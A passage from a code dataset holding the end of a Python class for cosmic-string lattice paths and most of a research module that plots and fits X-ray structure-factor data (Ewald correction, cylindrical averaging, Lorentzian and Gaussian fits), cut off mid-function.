[]\n _map = self._map\n if self._loop:\n _map = [*_map, _map[0]]\n else:\n _map = _map[:-1]\n x, y, z = _map[0].pos\n X.append(x)\n Y.append(y)\n Z.append(z)\n for i in _map:\n #parent_c = i.get_parent_center()\n parent_c = i.pos\n if parent_c is None:\n continue\n x, y, z = parent_c\n X.append(x)\n Y.append(y)\n Z.append(z)\n if not self._loop:\n x, y, z = self._map[-1].pos\n X.append(x)\n Y.append(y)\n Z.append(z)\n return X, Y, Z\n\n def get_start(self):\n return self._map[0].pos\n\n def get_end(self):\n return self._map[-1].pos\n\n def get_conjugate_end(self, mx):\n pos = self._map[-1].pos[:]\n if 0 not in pos:\n pos2 = [i - j for i, j in zip(pos, mx)]\n index = pos2.index(0)\n mx = [-1 * i for i in mx]\n else:\n index = pos.index(0)\n pos[index] += mx[index]\n return pos\n\n\n def connect(self, b):\n return CStringL(self, b)\n\n def __len__(self):\n \"\"\" DODGY -- works when reading from text file; investigate why if you have time \"\"\"\n l = len(self._map) - 1\n return l\n\n def __eq__(self, other):\n if self._map == other.get_map():\n return True\n else:\n return False\n\n def __str__(self):\n t = 'closed' if self._loop else 'open'\n return \"{} with length {}\".format(t, len(self)) \n\n\nclass CStringL(CString):\n def __init__(self, a, b):\n super().__init__(None)\n if type(a) is CStringL:\n #print('a is CL, connected with b')\n self.__dict__ = a.__dict__\n self.substrings.append(b)\n self._map += b._map\n else:\n #print('{} connected with {}'.format(a.get_end(), b.get_start()))\n self.substrings = [a, b]\n self._map = a._map + b._map\n\n def draw(self, ax, **kwargs):\n for s in self.substrings:\n s.draw(ax, **kwargs)\n\n def calc_loop(self):\n tots = [0, 0, 0]\n key = {1:[0,0,1], 0:[0,0,-1],\n 3:[0,1,0], 2:[0,-1,0],\n 5:[1,0,0], 4:[-1,0,0]}\n\n sbst = self.substrings\n for i in sbst:\n k = list(i.get_map()[-1].parents.values())[0][0]\n tots = [i + j for i, j in zip(tots, key[k])]\n\n self._config = tots\n if tots == [0, 0, 0]:\n self._loop = True\n\n def __eq__(self, other):\n if type(other) == CStringL:\n return self.substrings == other.substrings\n else:\n return other is self.substrings[0]\n","repo_name":"fjebaker/Cosmic-Strings","sub_path":"cosmicstrings/structures/string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3042667797","text":"from __future__ import division\nfrom __future__ import print_function\nfrom builtins import str\nfrom builtins import range\nfrom past.utils import old_div\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom scipy.interpolate import RegularGridInterpolator\nfrom scipy.interpolate import LinearNDInterpolator\nfrom scipy.interpolate import NearestNDInterpolator\nimport math\nfrom tqdm import trange\nimport tqdm\nimport time\nimport matplotlib\nfrom matplotlib import ticker\nfrom matplotlib.widgets import Slider, Button, RadioButtons\nfrom scipy.optimize import curve_fit\nimport datetime\n\n\ncolorbar = True\n\n#matplotlib.rc('axes', color_cycle=['r', 'g', 'b', '#004060'])\n\nmainlabel = \"\"\n\nunits = \"$\\AA^{-1}$\"\n\nxunits = units\nyunits = units\nzunits = units\n\ncontours = 200\nDPI = 300\nformat = \".png\"\ntext = \"Structure Factor\"\n\nPLOT_EWALDS = True # enable ewald-corrected SF plots\nsavelog = True\nsavelin = True\nNBINSRAD = 0\nnormplot = 1\nFP_THRESHOLD = 1.0E-12\ntheta = np.pi / 2\n\ntitle_fontsize = 9\n\npath = \"\"\n\n\ndef make_flat_plot(D, xr, yr, zr):\n\n if len(xr) != 1 and len(yr) != 1 and len(zr) != 1:\n print(\"error in make_flat_plot! one of these lengths must be 1\")\n exit()\n\n for ix in xr:\n for iy in yr:\n for iz in zr:\n r = D[ix, iy, iz, :4]\n pts.append((r))\n\n\ndef pl(title, obj):\n delim = \"=\"*20\n print(delim, title, delim)\n print(obj)\n\n\ndef pli(obj, title=\"\"):\n pl(title, obj)\n buf = input(\"enter q to quit, anything else to continue\") # raw_input renamed to input() in python3\n if buf == 'q':\n exit()\n\n\ndef ple(title, obj):\n pl(title, obj)\n exit()\n\n\ndef csplot_wlog(X, Y, Z, contours, lab, xlab, ylab, **kwargs):\n\n csplot(X, Y, Z, contours, lab, xlab, ylab, **kwargs)\n csplot(X, Y, np.log(Z), contours, \"log_\"+lab, xlab, ylab, **kwargs)\n\n\ndef csplot(X, Y, Z, contours, lab, xlab, ylab,**kwargs):\n\n title = lab+\" S(\"+xlab+\",\"+ylab+\")\"\n fname = lab+\"_\"+xlab+\"_\"+ylab\n fig, ax = plt.subplots()\n plt.suptitle(title)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n\n if normplot == 1:\n cax = plt.contourf(X, Y, Z / np.amax(Z), contours, vmin=0.0, vmax=0.05, **kwargs)\n else:\n cax = plt.contourf(X, Y, Z, contours, vmax=0.01*np.amax(Z), **kwargs)\n\n # ax.set_aspect((np.amax(Y)-np.amin(Y))/(np.amax(X)-np.amin(X)))\n # ax.set_aspect('auto')\n cbar = fig.colorbar(cax)\n\n plt.savefig(path+fname+format, dpi=DPI)\n plt.clf()\n\n\ndef sfplot(data, lcscale, **kwargs):\n \"\"\" data: plot slice through structure factor\"\"\"\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n cspos = 0.0\n la = []\n lb = 0\n an = ['x', 'y', 'z'] # axes names\n\n for i in range(data.shape[2] - 1):\n if np.unique(data[..., i]).size > 1:\n la.append(i)\n else:\n lb = i\n cspos = data[0, 0, i]\n\n title = mainlabel + \"\\n\" + text + \"\\n\" + an[lb] + \"=\" + str(round(cspos, 2)) + zunits\n ltitle = mainlabel + \"\\n\" + \"log \" + text + \"\\n\" + an[lb] + \"=\" + str(round(cspos, 2)) + zunits\n\n xlab = an[la[0]]\n ylab = an[la[1]]\n\n filename = path + an[lb] + \"=\" + str(round(cspos, 2))\n\n xlab += \"(\" + xunits + \")\"\n ylab += \"(\" + yunits + \")\"\n\n if savelog:\n plt.suptitle(ltitle, fontsize=title_fontsize)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n max_log = np.amax(np.log(data[..., 3]))\n plt.contourf(data[..., la[0]], data[..., la[1]], np.log(data[..., 3]), contours, vmax=lcscale*max_log, **kwargs)\n\n plt.savefig(filename+\"_log\"+format, dpi=DPI)\n plt.clf()\n\n if savelin:\n plt.suptitle(title, fontsize=title_fontsize)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n plt.contourf(data[..., la[0]], data[..., la[1]], data[..., 3], contours, **kwargs)\n plt.savefig(filename+format, dpi=DPI)\n plt.clf()\n\n\ndef radial_integrate(D, Nbins, outputname):\n\n SF = D[:, :, :, 3]\n\n R = (D[:, :, :, 0]**2).astype(np.float16) + (D[:, :, :, 1]**2).astype(np.float16) + (D[:, :, :, 2]**2).astype(np.float16)\n H, E = np.histogram(R, bins=Nbins, weights=SF)\n Hc, E = np.histogram(R, bins=Nbins)\n Hc = np.where(Hc != 0, Hc, 1.0)\n H /= Hc\n H[:1] = 0.0\n H /= np.amax(H)\n plt.plot(E[:-1], H)\n plt.xlim(0, 5)\n plt.savefig(outputname, dpi=DPI)\n\n\ndef spherical_integrate(D):\n exit()\n\n\ndef Plot_Ewald_Sphere_Correction_old(D, wavelength_angstroms):\n \"\"\" pass full 3d data,SF,wavelength in angstroms \"\"\"\n\n X = D[:, 0, 0, 0]\n Y = D[0, :, 0, 1]\n Z = D[0, 0, :, 2]\n SF = D[:, :, :, 3]\n\n K_ES = 2.0*math.pi/wavelength_angstroms # calculate k for incident xrays in inverse angstroms\n\n ES = RegularGridInterpolator((X, Y, Z), SF)\n\n pts = []\n for ix in range(D.shape[0]):\n xsq = X[ix]**2.0\n for iy in range(D.shape[1]):\n R = np.sqrt(xsq+Y[iy]**2.0)\n theta = np.arctan(old_div(R,K_ES))\n xnew = X[ix]*np.cos(theta)\n ynew = Y[iy]*np.cos(theta)\n znew = K_ES*(1.0-np.cos(theta))\n pts.append((X[ix], Y[iy], xnew, ynew, znew))\n\n pts = np.asarray(pts)\n\n EWD = ES(pts[:, 2:])\n EWD = EWD.reshape(D.shape[0], D.shape[1])\n plt.contourf(D[:, :, 0, 0], D[:, :, 0, 1], EWD, 200, interpolation=interp)\n\n plt.savefig(\"EWxy.png\",dpi=300)\n plt.clf()\n\n plt.contourf(D[:, :, 0, 0], D[:, :, 0, 1], np.log(EWD), 200, interpolation=interp)\n\n plt.savefig(\"EWxylog.png\", dpi=300)\n plt.clf()\n\n\ndef Plot_Ewald_Sphere_Correction(D, wavelength_angstroms, ucell=[], cscale=1, lcscale=1, **kwargs):\n\n \"\"\" pass full 3d data,SF,wavelength in angstroms \"\"\"\n # cscale : factor by which to scale the maximum value of the colorbar\n # lcscale : factor by which to scale the maximum value of the colorbar\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n X = D[:, 0, 0, 0]\n Y = D[0, :, 0, 1]\n Z = D[0, 0, :, 2]\n SF = D[:, :, :, 3]\n\n K_ES = 2.0*math.pi/wavelength_angstroms # calculate k for incident xrays in inverse angstroms\n\n ES = RegularGridInterpolator((X, Y, Z), SF, bounds_error=False)\n\n xypts = []\n for ix in range(D.shape[0]):\n xsq = X[ix]**2.0\n for iy in range(D.shape[1]):\n theta = np.arctan(old_div(np.sqrt(xsq + Y[iy]**2.0),K_ES))\n xypts.append((X[ix]*np.cos(theta), Y[iy]*np.cos(theta), K_ES*(1.0 - np.cos(theta))))\n\n xzpts = []\n for ix in range(D.shape[0]):\n xsq = X[ix]**2.0\n for iz in range(D.shape[2]):\n theta = np.arctan(old_div(np.sqrt(xsq + Z[iz]**2.0),K_ES))\n xzpts.append((X[ix]*np.cos(theta), K_ES*(1.0-np.cos(theta)), Z[iz]*np.cos(theta)))\n\n yzpts = []\n for iy in range(D.shape[1]):\n ysq = Y[iy]**2.0\n for iz in range(D.shape[2]):\n theta = np.arctan(old_div(np.sqrt(ysq+Z[iz]**2.0),K_ES))\n yzpts.append((K_ES*(1.0-np.cos(theta)), Y[iy]*np.cos(theta), Z[iz]*np.cos(theta)))\n\n xypts = np.asarray(xypts)\n xzpts = np.asarray(xzpts)\n yzpts = np.asarray(yzpts)\n\n EWDxy = ES(xypts)\n EWDxz = ES(xzpts)\n EWDyz = ES(yzpts)\n\n EWDxy = EWDxy.reshape(D.shape[0], D.shape[1])\n EWDxz = EWDxz.reshape(D.shape[0], D.shape[2])\n EWDyz = EWDyz.reshape(D.shape[1], D.shape[2])\n\n title = \"Ewald Corrected Structure Factor \\n $\\lambda=$\"+str(wavelength_angstroms)+\" $\\AA$ $k_{ew}=$\"+str(round(K_ES,2))+\" $\\AA^{-1}$\"\n ltitle = 'log ' + title\n\n xlab = 'x (' + units + \")\"\n ylab = 'y (' + units + \")\"\n zlab = 'z (' + units + \")\"\n\n fname = \"Ewald_\"\n\n plt.figure(1)\n plt.suptitle(title)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n EWDmax_xy = np.amax(EWDxy)\n plt.contourf(D[:, :, 0, 0], D[:, :, 0, 1], EWDxy, contours, vmax=cscale*EWDmax_xy, **kwargs)\n plt.savefig(path + fname + \"xy\" + format, dpi=DPI)\n plt.clf()\n\n plt.figure(2)\n plt.suptitle(ltitle)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n EWDmax_xylog = np.amax(np.log(EWDxy))\n plt.contourf(D[:, :, 0, 0], D[:, :, 0, 1], np.log(EWDxy), contours, vmax=lcscale*EWDmax_xylog, **kwargs)\n plt.savefig(path + fname + \"xylog\" + format, dpi=DPI)\n plt.clf()\n\n plt.figure(3)\n plt.suptitle(title)\n plt.xlabel(xlab)\n plt.ylabel(zlab)\n EWDmax_xz = np.amax(EWDxz)\n plt.contourf(D[:, 0, :, 0], D[:, 0, :, 2], EWDxz, contours, vmax=cscale*EWDmax_xz, **kwargs)\n plt.savefig(path + fname + \"xz\" + format, dpi=DPI)\n plt.clf()\n\n plt.figure(4)\n plt.suptitle(ltitle)\n plt.xlabel(xlab)\n plt.ylabel(zlab)\n EWDmax_xzlog = np.amax(np.log(EWDxz))\n plt.contourf(D[:, 0, :, 0], D[:, 0, :, 2], np.log(EWDxz), contours, vmax=lcscale*EWDmax_xzlog, **kwargs)\n lims = [np.amax(D[:, 0, :, 0]), np.amax(D[:, 0, :, 2])]\n qmax = min(lims)\n plt.xlim([-qmax, qmax])\n plt.ylim([-qmax, qmax])\n plt.savefig(path + fname + \"xzlog\" + format, dpi=DPI)\n plt.clf()\n\n plt.figure(5)\n plt.suptitle(title)\n plt.xlabel(ylab)\n plt.ylabel(zlab)\n EWDmax_yz = np.amax(EWDyz)\n plt.contourf(D[0, :, :, 1], D[0, :, :, 2], EWDyz, contours, vmax=cscale*EWDmax_yz, **kwargs)\n plt.savefig(path + fname + \"yz\" + format, dpi=DPI)\n plt.clf()\n\n plt.figure(6)\n plt.suptitle(ltitle)\n plt.xlabel(ylab)\n plt.ylabel(zlab)\n EWDmax_yzlog = np.amax(np.log(EWDyz))\n plt.contourf(D[0, :, :, 1], D[0, :, :, 2], np.log(EWDyz), contours, vmax=lcscale*EWDmax_yzlog, **kwargs)\n plt.savefig(path + fname + \"yzlog\" + format, dpi=DPI)\n plt.clf()\n\n\ndef lorentz(points, a, b):\n \"\"\"\n :param p: lorentzian parameters : [full width half max (FWHM), position of maximum]\n :param p: position\n :return:\n \"\"\"\n\n w = np.pi / a\n\n x = (b - points) / (w/2)\n\n return 1 / (1 + x**2)\n\n\ndef inverse_ft(D, ucell):\n\n X = D[:, 0, 0, 0]\n Y = D[0, :, 0, 1]\n Z = D[0, 0, :, 2]\n Z += Z[np.argmin(abs(Z))]\n\n SF = D[..., 3]\n\n fbin_x = X[1] - X[0] # size of x bins in fourier space\n fbin_y = Y[1] - Y[0] # size of y bins in fourier space\n fbin_z = Z[1] - Z[0] # size of z bins in fourier space\n\n real_x = 2 * np.pi / fbin_x # largest x dimension in real space\n real_y = 2 * np.pi / fbin_y # largest y dimension in real space\n real_z = 2 * np.pi / fbin_z # largest z dimension in real space\n\n rbin_x = real_x / X.shape[0]\n rbin_y = real_y / Y.shape[0]\n rbin_z = real_z / Z.shape[0]\n\n X_real = np.linspace(-real_x / 2, real_x / 2, X.shape[0])\n Y_real = np.linspace(-real_y / 2, real_y / 2, Y.shape[0])\n Z_real = np.linspace(-real_z / 2, real_z / 2, Z.shape[0])\n\n # reorder lists so they conform to numpy (https://docs.scipy.org/doc/numpy-1.14.0/reference/generated/numpy.fft.ifftn.html)\n start = list(X).index(0)\n X_reordered = np.concatenate((X[start:], X[:start]))\n ndx_x = [list(X).index(i) for i in X_reordered]\n\n start = list(Y).index(0)\n Y_reordered = np.concatenate((Y[start:], Y[:start]))\n ndx_y = [list(Y).index(i) for i in Y_reordered]\n\n start = list(Z).index(0)\n Z_reordered = np.concatenate((Z[start:], Z[:start]))\n ndx_z = [list(Z).index(i) for i in Z_reordered]\n\n SF_reordered = SF[ndx_x, :, :]\n SF_reordered = SF_reordered[:, ndx_y, :]\n SF_reordered = SF_reordered[:, :, ndx_z]\n\n # inverse fourier transform\n inverse_fft = np.fft.ifftn(SF_reordered)\n\n # reorder again\n inverse_fft = inverse_fft[ndx_x, :, :]\n inverse_fft = inverse_fft[:, ndx_y, :]\n inverse_fft = inverse_fft[:, :, ndx_z]\n\n # fourier transform of inversion as a test\n # ft = np.abs(np.fft.fftn(inverse_fft))**2\n # ft = ft[ndx_x, :]\n # ft = ft[:, ndx_y]\n # plt.imshow(ft)\n # plt.show()\n\n inverse_fft = inverse_fft.real / np.amax(inverse_fft.real)\n\n final, rfin, zfin = angle_average(X_real, Y_real, Z_real, inverse_fft, ucell=ucell)\n\n rbound1 = 0\n rbound2 = 0\n while rfin[rbound1] < -15:\n rbound1 += 1\n while rfin[rbound2] < 15:\n rbound2 += 1\n\n zbound1 = 0\n zbound2 = 0\n while zfin[0][zbound1] < -15:\n zbound1 += 1\n while zfin[0][zbound2] < 15:\n zbound2 += 1\n\n levels = np.linspace(np.amin(final), 0.001 * np.amax(final), 200)\n plt.contourf(rfin[rbound1:rbound2], zfin[0][zbound1:zbound2], final[rbound1:rbound2, zbound1:zbound2].T,\n levels=levels, cmap='seismic', extend='max')\n plt.colorbar()\n plt.xlabel('r ($\\AA$)')\n plt.ylabel('z ($\\AA$)')\n plt.show()\n exit()\n\n\ndef angle_average(X, Y, Z, SF, ucell=None):\n\n ES = RegularGridInterpolator((X, Y, Z), SF, bounds_error=False)\n\n THETA_BINS_PER_INV_ANG = 20.\n MIN_THETA_BINS = 10 # minimum allowed bins\n RBINS = 100\n\n if ucell is not None:\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n b1 = (np.cross(a2, a3)) / (np.dot(a1, np.cross(a2, a3)))\n b2 = (np.cross(a3, a1)) / (np.dot(a2, np.cross(a3, a1)))\n b3 = (np.cross(a1, a2)) / (np.dot(a3, np.cross(a1, a2)))\n\n b_inv = np.linalg.inv(np.vstack((b1, b2, b3)))\n\n ZBINS = Z.shape[0] # 400\n\n XR = (X[-1] - X[0])\n YR = (Y[-1] - Y[0])\n\n Rmax = min(XR, YR) / 2.0\n Rmax *= 0.95\n\n rarr, rspace = np.linspace(0.0, Rmax, RBINS, retstep=True)\n zar = np.linspace(Z[0], Z[-1], ZBINS)\n\n oa = np.zeros((rarr.shape[0], zar.shape[0]))\n circ = 2.*np.pi*rarr # circumference\n\n for ir in range(rarr.shape[0]):\n\n NTHETABINS = max(int(THETA_BINS_PER_INV_ANG*circ[ir]), MIN_THETA_BINS) #calculate number of bins at this r\n thetas = np.linspace(0.0, np.pi*2.0, NTHETABINS, endpoint=False) # generate theta array\n\n t, r, z = np.meshgrid(thetas, rarr[ir], zar) # generate grid of cylindrical points\n\n xar = r*np.cos(t) # set up x,y coords\n yar = r*np.sin(t)\n\n pts = np.vstack((xar.ravel(), yar.ravel(), z.ravel())).T # reshape for interpolation\n\n if ucell is not None:\n # pts = mc_inv(pts, ucell)\n pts = np.matmul(pts, b_inv)\n\n oa[ir, :] = np.average(ES(pts).reshape(r.shape), axis=1) # store average values in final array\n\n mn = np.nanmin(oa)\n oa = np.where(np.isnan(oa), mn, oa)\n\n rad_avg = np.average(oa) # ???\n oa /= rad_avg # normalize\n\n # set up data for contourf plot by making it symmetrical\n final = np.append(oa[::-1, :], oa[1:], axis=0) # SF\n rfin = np.append(-rarr[::-1], rarr[1:]) # R\n zfin = np.append(z[:, 0, :], z[1:, 0, :], axis=0) # Z\n\n return final, rfin, zfin\n\n\ndef Rspots(R, Z, waxs, theta=37, theta_sigma=(7, 5), bounds=(1.256, 1.57), cmap='jet'):\n\n \"\"\" Measure intensity of R-spots in specified region \"\"\"\n\n spots = np.copy(waxs.T)\n inner = bounds[0]\n outer = bounds[1]\n I = []\n\n for i in range(R.shape[0]):\n for j in range(Z.shape[0]):\n if inner < np.linalg.norm([R[i], Z[j]]) < outer:\n angle = (180 / np.pi) * np.arctan(Z[j] / R[i])\n if (theta - theta_sigma[0]) < angle < (theta + theta_sigma[1]) or \\\n (theta - theta_sigma[0]) < (angle - 2*angle) < (theta + theta_sigma[1]):\n spots[i, j] = 100\n I.append(waxs[j, i])\n\n average_intensity = np.mean(I)\n\n plt.figure()\n levels = np.linspace(0, 3.1, 200)\n\n plt.contourf(R, Z, spots.T, cmap=cmap, levels=levels, extend='max')\n plt.xlim(-2.5, 2.5)\n plt.ylim(-2.5, 2.5)\n plt.figure()\n plt.hist(I, bins=25)\n plt.title('Average intensity of R-spots: %.2f' % average_intensity)\n # plt.show()\n\n return average_intensity\n\n\ndef gaussian(points, mean, sigma, amplitude, yshift):\n return yshift + (amplitude / np.sqrt(2 * np.pi * sigma ** 2)) * np.exp(\n -(points - mean) ** 2 / (2 * sigma ** 2))\n\n\ndef lorentz(points, a, b, c):\n \"\"\"\n :param p: lorentzian parameters : [full width half max (FWHM), position of maximum, maximum heigth]\n :param p: position\n :return:\n \"\"\"\n\n w = a / 2\n\n x = (b - points) / w\n\n return (c / (np.pi * w)) / (1 + x ** 2)\n\n\ndef triple_lorentz(x, a0, a1, a2, b0, b1, b2, c0, c1, c2):\n return lorentz(x, a0, b0, c0) + lorentz(x, a1, b1, c1) + lorentz(x, a2, b2, c2)\n\n\ndef PLOT_RAD_NEW(D, wavelength_angstroms, ucell, format=False, factor=3.1, **kwargs):\n\n \"\"\"\n :param D: raw structure factor\n :param wavelength_angstroms: wavelength of X-ray (angstroms)\n :param ucell: 3 x 3 unitcell vectors\n :param factor: maximum colorbar value if using formatting from Coscia et al. manuscript\n :param format: plot simulated XRD patterns as they appear in Coscai et al. manuscript\n :return:\n \"\"\"\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n # inverse_ft(D, ucell)\n\n X = D[:, 0, 0, 0]\n Y = D[0, :, 0, 1]\n Z = D[0, 0, :, 2]\n SF = D[..., 3]\n\n ############## Plot z-slice down the middle of the raw structure factor ###################\n # plt.plot(Z, SF[len(X)//2, len(Y)//2, :])\n # plt.xlabel('q$_z$ ($\\AA^{-1}$)')\n # plt.ylabel('Intensity')\n # plt.savefig('z_section.png')\n # plt.show()\n # exit()\n\n ES = RegularGridInterpolator((X, Y, Z), SF, bounds_error=False)\n\n THETA_BINS_PER_INV_ANG = 20.\n MIN_THETA_BINS = 1 # minimum allowed bins\n RBINS = 400\n NLEVELS = 200 # number of levels for contour plots\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n b1 = (np.cross(a2, a3)) / (np.dot(a1, np.cross(a2, a3)))\n b2 = (np.cross(a3, a1)) / (np.dot(a2, np.cross(a3, a1)))\n b3 = (np.cross(a1, a2)) / (np.dot(a3, np.cross(a1, a2)))\n\n b_inv = np.linalg.inv(np.vstack((b1, b2, b3)))\n\n ZBINS = Z.shape[0] # 400\n XR = (X[-1] - X[0])*ucell[0][0]\n YR = (Y[-1] - Y[0])*ucell[1][1]\n\n Rmax = min(XR, YR) / 2.0\n Rmax *= 0.95\n\n rarr, rspace = np.linspace(0.0, Rmax, RBINS, retstep=True)\n zar = np.linspace(Z[0], Z[-1], ZBINS)\n\n oa = np.zeros((rarr.shape[0], zar.shape[0]))\n circ = 2.*np.pi*rarr # circumference\n\n for ir in trange(rarr.shape[0]):\n\n NTHETABINS = max(int(THETA_BINS_PER_INV_ANG*circ[ir]), MIN_THETA_BINS) #calculate number of bins at this r\n thetas = np.linspace(0.0, np.pi*2.0, NTHETABINS, endpoint=False) # generate theta array\n\n t, r, z = np.meshgrid(thetas, rarr[ir], zar) # generate grid of cylindrical points\n\n xar = r*np.cos(t) # set up x,y coords\n yar = r*np.sin(t)\n\n pts = np.vstack((xar.ravel(), yar.ravel(), z.ravel())).T # reshape for interpolation\n\n MCpts = np.matmul(pts, b_inv) # slower: MCpts = mc_inv(pts,ucell)\n\n oa[ir, :] = np.average(ES(MCpts).reshape(r.shape), axis=1) # store average values in final array\n\n mn = np.nanmin(oa)\n oa = np.where(np.isnan(oa), mn, oa)\n\n if not format:\n rad_avg = np.average(oa)\n oa /= rad_avg # normalize\n\n # set up data for contourf plot by making it symmetrical\n final = np.append(oa[::-1, :], oa[1:], axis=0) # SF\n rfin = np.append(-rarr[::-1], rarr[1:]) # R\n zfin = np.append(z[:, 0, :], z[1:, 0, :], axis=0) # Z\n\n unitlab = '($\\AA^{-1}$)' # Angstroms\n\n logfinal = np.log(final)\n\n MIN = np.amin(final) # MIN = np.amin(np.ma.masked_invalid(final))\n MAX = np.amax(final) # MAX = np.amax(np.ma.masked_invalid(final))\n\n lvls = np.linspace(MIN, MAX, NLEVELS)\n\n if format:\n alkane_intensity = normalize_alkanes(rfin, zfin[0], final, 1.4, 1.57, 120) # 1.4, 1.57\n final /= alkane_intensity # normalize according to R-alkanes\n\n # lvls = np.linspace(0, factor, NLEVELS) # contour levels\n rlimits = [np.argmin(np.abs(rfin + 2.5)), np.argmin(np.abs(rfin - 2.5))]\n zlimits = [np.argmin(np.abs(zfin[0] + 2.5)), np.argmin(np.abs(zfin[0] - 2.5))]\n\n MIN = np.amin(final[rlimits[0]:rlimits[1], zlimits[0]:zlimits[1]])\n MIN = 0.4\n # MAX = 7.67\n\n #lvls = np.linspace(np.log10(MIN), np.log10(MAX), NLEVELS)\n\n if format:\n\n cmap = 'jet'\n print(factor)\n lvls = np.linspace(0, factor, NLEVELS)\n lvls_log = np.linspace(np.log10(final[-1, -1]), np.log10(np.amax(final)), NLEVELS)\n\n # plot 1D SAXS\n plt.figure()\n plt.plot(rfin, final[:, zfin[0].shape[0]//2], linewidth=2)\n plt.xlabel('$q_r\\ (\\AA^{-1})$', fontsize=14)\n plt.ylabel('Intensity', fontsize=14)\n plt.tight_layout()\n\n plt.figure()\n\n heatmap = plt.contourf(rfin, zfin[0], final.T, levels=lvls, cmap=cmap, extend='max')\n cbar = plt.colorbar(heatmap)\n plt.xlabel('$q_r\\ (\\AA^{-1}$)', fontsize=18)\n plt.ylabel('$q_z\\ (\\AA^{-1}$)', fontsize=18)\n plt.gcf().get_axes()[0].set_ylim(-2.5, 2.5)\n plt.gcf().get_axes()[0].set_xlim(-2.5, 2.5)\n plt.gcf().get_axes()[0].tick_params(labelsize=14)\n plt.gcf().get_axes()[0].set_aspect('equal')\n plt.tight_layout()\n plt.savefig('rzplot.png')\n print('rzplot.png saved')\n\n ################# Q_R and Q_Z CROSS_SECTIONS OF R_PI WITH GAUSSIAN AND LORENTZIAN FITS ##################\n ############################### FIT TO QR CROSS-SECTION OF R-PI #########################\n\n plt.figure()\n\n rpi_ndx = np.argmin(np.abs(zfin[0] - zfin[0][np.argmax(final[rfin.size // 2, :])]))\n\n plt.plot(rfin, final[:, rpi_ndx], linewidth=2, color='blue') # its xkcd:blue in paper\n\n p = np.array([0, 0.3, 4, 1])\n solp, cov_x = curve_fit(gaussian, rfin, final[:, rpi_ndx], p,\n bounds=((-np.inf, 0, 0, 0), (np.inf, np.inf, np.inf, np.inf)))\n\n plt.plot(rfin, gaussian(rfin, solp[0], solp[1], solp[2], solp[3]), '--', color='blue', label='Gaussian Fit',\n linewidth=2)\n\n print(\"Gaussian FWHM = %.3f +/- %.3f A^-1\" % (2*np.sqrt(2*np.log(2))*solp[1],\n 2 * np.sqrt(2 * np.log(2)) * cov_x[1, 1] ** 0.5))\n\n p = np.array([0.1, 0, 4])\n solp_lorentz, cov_x = curve_fit(lorentz, rfin, final[:, rpi_ndx], p,\n bounds=[[0, -np.inf, 0], [np.inf, np.inf, np.inf]])\n\n plt.plot(rfin, lorentz(rfin, solp_lorentz[0], solp_lorentz[1], solp_lorentz[2]), '--', label='Lorentzian Fit',\n linewidth=2, color='orange') # its xkcd:orange in the paper\n\n print(\"Lorentzian FWHM = %.3f +/- %.3f A^-1\" % (solp_lorentz[0], cov_x[0, 0] ** 0.5))\n\n plt.legend(fontsize=16)\n plt.xlabel('$q_r\\ (\\AA^{-1})$', fontsize=18)\n plt.ylabel('Intensity', fontsize=18)\n plt.gcf().get_axes()[0].tick_params(labelsize=18)\n plt.tight_layout()\n #plt.savefig('/home/bcoscia/PycharmProjects/LLC_Membranes/Ben_Manuscripts/structure_paper/figures/sim_rsection_fit.pdf')\n\n # ######################## FIT TO QZ CROSS-SECTION OF R-PI #########################\n # plt.figure()\n #\n # rndx = rfin.size // 2\n # zstart = zfin[0].size // 2\n # plt.plot(zfin[0][zstart:], final[rndx, zstart:], linewidth=2, color='blue')\n #\n # p = np.array([1.4, 0.1, 7, 0])\n # solp, cov_x = curve_fit(gaussian, zfin[0][zstart:], final[rndx, zstart:], p,\n # bounds=([-np.inf, 0, 0, 0], [np.inf, np.inf, np.inf, np.inf]))\n #\n # fine_grid = np.linspace(zfin[0][zstart], zfin[0][-1], 1000)\n # plt.plot(fine_grid, gaussian(fine_grid, solp[0], solp[1], solp[2], solp[3]), '--', color='blue', label='Gaussian Fit',\n # linewidth=2)\n #\n # print(\"Gaussian FWHM = %.3f +/- %.3f A^-1\" % (2*np.sqrt(2*np.log(2))*solp[1],\n # 2 * np.sqrt(2 * np.log(2)) * cov_x[1, 1] ** 0.5))\n #\n # p = np.array([0.1, 0, 4])\n # solp_lorentz, cov_x = curve_fit(lorentz, zfin[0][zstart:], final[rndx, zstart:], p,\n # bounds=[[0, -np.inf, 0], [np.inf, np.inf, np.inf]])\n #\n # plt.plot(fine_grid, lorentz(fine_grid, solp_lorentz[0], solp_lorentz[1], solp_lorentz[2]), '--',\n # label='Lorentzian Fit', linewidth=2, color='orange')\n #\n # print(\"Lorentzian FWHM = %.3f +/- %.3f A^-1\" % (solp_lorentz[0], cov_x[0, 0] ** 0.5))\n #\n # plt.legend(fontsize=17)\n # plt.xlabel('$q_z\\ (\\AA^{-1})$', fontsize=18)\n # plt.ylabel('Intensity', fontsize=18)\n # plt.gcf().get_axes()[0].tick_params(labelsize=18)\n # plt.tight_layout()\n # #plt.savefig('/home/bcoscia/PycharmProjects/LLC_Membranes/Ben_Manuscripts/structure_paper/figures/sim_zsection_fit.pdf')\n #\n # print('Average R-pi intensity: %.2f' % np.amax(final[rfin.size // 2, :]))\n #print('Average R-spots intensity : %.2f' % Rspots(rfin, zfin[0], final.T, theta=30, theta_sigma=(1, 1),\n #bounds=(1.39, 1.49), cmap=cmap))\n\n else:\n\n plt.figure()\n plt.contourf(rfin, zfin[0], final.T, levels=lvls, cmap='jet')\n plt.colorbar()\n\n plt.title('S(r,z)')\n plt.xlabel('r ' + unitlab)\n plt.ylabel('z ' + unitlab)\n\n plt.savefig('new_rzplot.png')\n\n plt.figure()\n\n cs = plt.contourf(rfin, zfin[0], final.T, levels=lvls, cmap='jet', extend='both')\n cs.cmap.set_under('k')\n cs.set_clim(MIN, 0.1 * MAX)\n 